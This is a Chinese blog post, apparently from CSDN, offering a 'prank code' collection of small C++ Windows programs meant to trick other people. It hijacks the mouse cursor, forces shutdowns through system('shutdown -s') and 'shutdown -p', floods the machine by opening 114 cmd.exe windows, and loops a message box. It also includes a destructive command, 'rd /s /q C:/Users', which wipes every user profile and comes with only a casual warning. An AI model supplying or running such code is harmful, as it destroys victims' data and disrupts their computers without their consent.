c++坑人代码集合

1.SetCursorPos

#include<windows.h>
#include<ctime>
using namespace std;

#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int main()
{
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(NULL));
	while(1) 
	{
		SetCursorPos(rand()%x,rand()%y); 
		if(kd(VK_RETURN)) break;
	}
	return 0;
}

按Enter即可结束awa

x,y是屏幕大小

SetCursorPos是移动鼠标指针到某位置

类似的还有很多

#include<windows.h>//固定鼠标指针
#include<ctime>
using namespace std;

#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int main()
{
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(NULL));
	while(1) 
	{
		SetCursorPos(x/2,y/2); 
		if(kd(VK_RETURN)) break;
	}
	return 0;
}
#include<windows.h>//范围移动指针 
#include<ctime>
using namespace std;

#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
const int pw=300;

int main()
{
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(NULL));
	while(1) 
	{
		SetCursorPos(rand()%pw+x/2-pw/2,rand()%pw+y/2-pw/2); 
		if(kd(VK_RETURN)) break;
	}
	return 0;
}
#include<windows.h>//好玩的 
#include<ctime>
using namespace std;

#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int main()
{
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(NULL));
	for(int i=0;i<=y;i+=2)
	{
		for(int j=0;j<=x;j++)
		{
			if(kd(VK_RETURN)) break;
			SetCursorPos(i,j);
		}
		for(int j=0;j<=x;j++)
		{
			if(kd(VK_RETURN)) break;
			SetCursorPos(i+1,j);
		}
	} 
	return 0;
}

都可以拿来坑人awa

2.system

这个的方法还是很多的

解释在这里

1.电脑多累啊,让他休息一下吧

#include<stdio.h>
#include<stdlib.h>
int main()
{
    system("shutdown -s");
    return 0;
}

2.电脑虽然很累,但是还想工作一会再睡

#include<stdio.h>
#include<stdlib.h>
int main()
{
    system("shutdown -s -t 10");
	return 0;
}

3.不让电脑休息的极其不友善的程序

#include<stdio.h>
#include<stdlib.h>
int main()
{
    system("shutdown -a");
	return 0;
}

4.电脑坐久了,想让CPU活动一下筋骨

#include<stdio.h>
#include<stdlib.h>
int main()
{
    for(i=0;i<114;i++) system("start cmd.exe"); 
    return 0;
} 

5.C盘有点满······

注意:谨慎使用此代码,如要测试,请先安装冰点还原精灵可以帮助电脑重启就还原的软件,否则一旦您的电脑出现问题,作者概不负责(虚拟机除外)

#include<stdio.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
int main()
{
	string c;
	c="rd /s /q \"C:/Users\"";
	system(c.c_str());
	return 0;
}

(这些都是最基本的,可以加些优化awa,比如第3点)

3.MessageBox

#include<windows.h>
using namespace std;

int main()
{
	again:
	if(MessageBox(NULL,"作者帅不帅?","按yes结束",MB_YESNO|MB_ICONEXCLAMATION)!=IDYES) goto again;
	return 0;
}

(或者狼一点)

#include<windows.h>
#include<iostream>
using namespace std;

int main()
{
	if(MessageBox(NULL,"作者帅不帅?","按yes结束",MB_YESNO|MB_ICONEXCLAMATION)!=IDYES) system("shutdown -p");
	return 0;
}

//时间不够,未完待续awa

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值